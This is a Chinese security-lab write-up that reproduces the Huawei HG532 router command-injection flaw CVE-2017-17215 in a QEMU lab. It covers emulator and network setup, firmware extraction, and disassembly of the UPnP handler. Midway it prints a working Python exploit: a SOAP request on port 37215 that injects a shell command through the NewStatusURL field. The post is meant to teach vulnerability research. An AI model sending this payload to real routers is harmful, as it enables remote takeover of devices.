CVE-2017-17215(华为HG532远程命令执行漏洞)复现学习

admin 2023年3月9日00:19:09评论24 views字数 4402阅读14分40秒阅读模式

星期五实验室

阅读须知
星期五实验室的技术文章仅供参考,此文所提供的信息只为网络安全人员对自己所负责的网站、服务器等(包括但不限于)进行检测或维护参考,未经授权请勿利用文章中的技术资料对任何计算机系统进行入侵操作。利用此文所提供的信息造成的直接或间接后果和损失,均由使用者本人负责。

星期五实验室拥有对此文章的修改、删除和解释权限,如转载或传播此文章,需保证文章的完整性,未经授权,不得用于其他。





01

漏洞简介

CVE-2017-17215(华为HG532远程命令执行漏洞)复现学习

 

漏洞和在该嵌入式系统/bin/mic下的37215端口有关系,该文件通过37215端口启动upnp协议(通用即插即用),之后调用了system()函数。因此可以向目标路由器通过此端口发送POST数据借此调用到system()函数,导致攻击者可以通过此数据包远程命令注入且执行,进而控制路由器。





02

配置

CVE-2017-17215(华为HG532远程命令执行漏洞)复现学习
配置ubuntu


(PS:这里也可以去直接查看第五步)
首先要在ubuntu上按照qemu模拟器来启动qcow2的镜像


修改ubuntu网络配置文件 /etc/network/interfaces/
# interfaces(5) file used by ifup(8) and ifdown(8)auto loiface lo inet loopback auto ens33iface ens33 inet manualup ifconfig ens33 0.0.0.0 up auto br0iface br0 inet dhcp bridge_ports ens33bridge_maxwait 0


创建或修改qemu的网络接口启动文件脚本/etc/qemu-ifup
如果没有这个文件直接创建就可以了,如果有的话将里边内容清空,然后写入下面脚本
#!/bin/sh# Script to bring a network (tap) device for qemu up.# The idea is to add the tap device to the same bridge# as we have default routing to. # in order to be able to find brctlecho "Executing /etc/qemu-ifup"echo "Bringing $1 for bridge mode..."sudo /sbin/ifconfig $1 0.0.0.0 promisc upecho "Adding $1 to br0..."sudo /sbin/brctl addif br0 $1sleep 3


然后依次输入下列命令
#启动桥接网络赋予可执行权限sudo chmod a+x /etc/qemu-ifup#重启网络服务,使配置生效(注意这个地方配置正常之后,如果你是mac,可能会让你输入mac密码,windows我不知道)sudo /etc/init.d/networking restart#关闭ens33,启动桥接网络br0(这里如果显示eth0不存在没关系,直接启动br0)sudo ifdown eth0sudo ifup br0

CVE-2017-17215(华为HG532远程命令执行漏洞)复现学习


如图所示,当前网卡为br0

配置完之后,如果下面qemu虚拟机配置之后,仍然无法获取ip,重启ubuntu

按照常规配置大概率出bug,所以这里我们添加路由

CVE-2017-17215(华为HG532远程命令执行漏洞)复现学习

br0和tap0的路由配置好后即可



配置QEMU

下载好qemu的前提下进行启动
  sudo qemu-system-mips -M malta -kernel vmlinux-2.6.32-5-4kc-malta -hda debian_squeeze_mips_standard.qcow2 -append "root=/dev/sda1 console=tty0" -net nic,macaddr=00:16:3e:00:00:01 -net tap -nographic

CVE-2017-17215(华为HG532远程命令执行漏洞)复现学习
    如果你的多次运行qemu,可能会出现如下错误
   <img src="https://i.loli.net/2021/09/02/Pa1zTB9lYoLteEg.png" alt="image-20210902143652004" style="zoom:50%;" />
   这是服务没有退出导致的
   ps查出当前qemu进程号,kill掉就好了
   ps -e | grep 'qemu'
   <img src="https://i.loli.net/2021/09/02/aRwVdGWEtqnrKPy.png" alt="image-20210902143845743" style="zoom:50%;" />
   sudo kill 3307
    即可


 然后修改/etc/network/interfaces,注意这里是在qemu虚拟机中修改  
  nano /etc/network/interfaces

CVE-2017-17215(华为HG532远程命令执行漏洞)复现学习


第一次配置红框中一般是eth0,将红框中的内容修改为你的网卡名字,保存后使用下面指令重启eth1, 如果还不行或者ifconfig发现eth1没有分配地址 ,同样还是配置路由
CVE-2017-17215(华为HG532远程命令执行漏洞)复现学习


自定义静态IP并添加路由
CVE-2017-17215(华为HG532远程命令执行漏洞)复现学习


最后这里配置跟ubuntu虚拟机tap0的ip一样
CVE-2017-17215(华为HG532远程命令执行漏洞)复现学习


接下来就可以ping通了
qemu
CVE-2017-17215(华为HG532远程命令执行漏洞)复现学习


ubuntu虚拟机
CVE-2017-17215(华为HG532远程命令执行漏洞)复现学习





03

复现流程

CVE-2017-17215(华为HG532远程命令执行漏洞)复现学习

binwalk该文件
binwalk -Me HG532eV100R001C01B020_upgrade_packet.bin

CVE-2017-17215(华为HG532远程命令执行漏洞)复现学习



CVE-2017-17215(华为HG532远程命令执行漏洞)复现学习


 使用grep来查找  
CVE-2017-17215(华为HG532远程命令执行漏洞)复现学习

两个都指向upnp这个文件,端口号指向mic这个文件
直接运行会出问题,我们切换根目录到拷贝进来的系统文件中
然后先后运行upnp和mic
到这个地方mic已经运行成功了,放着不用管他了
  chroot /root/squashfs-root /bin/sh

CVE-2017-17215(华为HG532远程命令执行漏洞)复现学习


虚拟机开启监听

  nc -vv 192.168.183.161 37215

CVE-2017-17215(华为HG532远程命令执行漏洞)复现学习


 成功了就可以跑exp了  
import requests
headers = { "Authorization": "Digest username=dslf-config, realm=HuaweiHomeGateway, nonce=88645cefb1f9ede0e336e3569d75ee30, uri=/ctrlt/DeviceUpgrade_1, response=3612f843a42db38f48f59d2a3597e19c, algorithm=MD5, qop=auth, nc=00000001, cnonce=248d1a2560100669"}
data = '''<?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>;/bin/busybox ls;</NewStatusURL><NewDownloadURL>HUAWEIUPNP</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>'''requests.post('http://192.168.183.161:37215/ctrlt/DeviceUpgrade_1',headers=headers,data=data)


执行exp后qemu出现结果,ls执行成功
CVE-2017-17215(华为HG532远程命令执行漏洞)复现学习





04

原理分析

CVE-2017-17215(华为HG532远程命令执行漏洞)复现学习

shrift+F12查看字符串, 通过exp能发现,命令行放在了NewStatusURL标签下,在ida中通过字符串查找  
CVE-2017-17215(华为HG532远程命令执行漏洞)复现学习


49c的位置使用快捷间p可以创建函数,来反编译  
CVE-2017-17215(华为HG532远程命令执行漏洞)复现学习


snprintf函数将可变个参数按照format格式化成字符串,然后将其复制到str中,即把v5与前面字符串拼接放到v6中,并且system执行了v6。


根据exp的执行效果来推测,ATP_XML_GetChildNodeByName这个函数读取NewStatusURL标签的内容放到了v5。


回溯可以发现 system的参数为0x42C+var_414($sp)
CVE-2017-17215(华为HG532远程命令执行漏洞)复现学习


0x42C+var_414($sp)为snprintf 的第一个参数,0x42C+var_40C($sp)为snprintf的第四个参数  
CVE-2017-17215(华为HG532远程命令执行漏洞)复现学习


而0x42C+var_40C($sp)为ATP_XML_GetChildNodeByName的一个参数,这里应该是读取后放到了0x42C+var_40C($sp)


我们就可以通过闭合来实现命令运行了  





05

qemu安装及建立通讯

CVE-2017-17215(华为HG532远程命令执行漏洞)复现学习

由于初学者对于QEMU的安装还是比较懵逼,所以这里给大家上一个简单的安装流程

参考链接:

https://zhuanlan.zhihu.com/p/486923010


apt-get install qemu qemu-system qemu-user-static


CVE-2017-17215(华为HG532远程命令执行漏洞)复现学习

 

安装依赖文件:

apt-get install libglib2.0 libglib2.0-dev autoconf automake libtool uml-utilities bridge-utils


CVE-2017-17215(华为HG532远程命令执行漏洞)复现学习

 

创建网桥,添加IP:  
brctl addbr Virbr0ifconfig Virbr0 192.168.183.100/24 up


CVE-2017-17215(华为HG532远程命令执行漏洞)复现学习


CVE-2017-17215(华为HG532远程命令执行漏洞)复现学习


qemu-system-mips -M malta -kernel vmlinux-2.6.32-5-4kc-malta -hda debian_squeeze_mips_standard.qcow2 -append "root=/dev/sda1 console=tty0" -netdev tap,id=tapnet,ifname=tap0,script=no -device rtl8139,netdev=tapnet -nographic


CVE-2017-17215(华为HG532远程命令执行漏洞)复现学习


CVE-2017-17215(华为HG532远程命令执行漏洞)复现学习

 

启动完成后,输入root root进入debain系统,添加IP尝试ping外界:  
ifconfig eth0 192.168.183.102/24 up

CVE-2017-17215(华为HG532远程命令执行漏洞)复现学习




参考链接:

https://bbs.pediy.com/thread-269188.htm#msg_header_h1_1https://zhuanlan.zhihu.com/p/486923010

FRIDAY LAB

  星期五实验室成立于2017年,汇集众多技术研究人员,在工业互联网安全前瞻技术研究方向上不断进取。星期五实验室由海内外知名高校的学院精英及来自于顶尖企业的行业专家组成,且大部分人员来自国际领先、国内知名的黑客战队——浙大AAA战队。作为木链科技专业的技术研发团队,星期五实验室凭借精湛的专业技术水平,为产品研发提供新思路、为行业技术革新探索新方向。


CVE-2017-17215(华为HG532远程命令执行漏洞)复现学习
CVE-2017-17215(华为HG532远程命令执行漏洞)复现学习
CVE-2017-17215(华为HG532远程命令执行漏洞)复现学习
CVE-2017-17215(华为HG532远程命令执行漏洞)复现学习
CVE-2017-17215(华为HG532远程命令执行漏洞)复现学习

扫二维码|关注我们

星期五实验室
FRIDAY LAB


原文始发于微信公众号(星期五实验室):CVE-2017-17215(华为HG532远程命令执行漏洞)复现学习

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2023年3月9日00:19:09
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   CVE-2017-17215(华为HG532远程命令执行漏洞)复现学习https://cn-sec.com/archives/1234466.html

发表评论

匿名网友 填写信息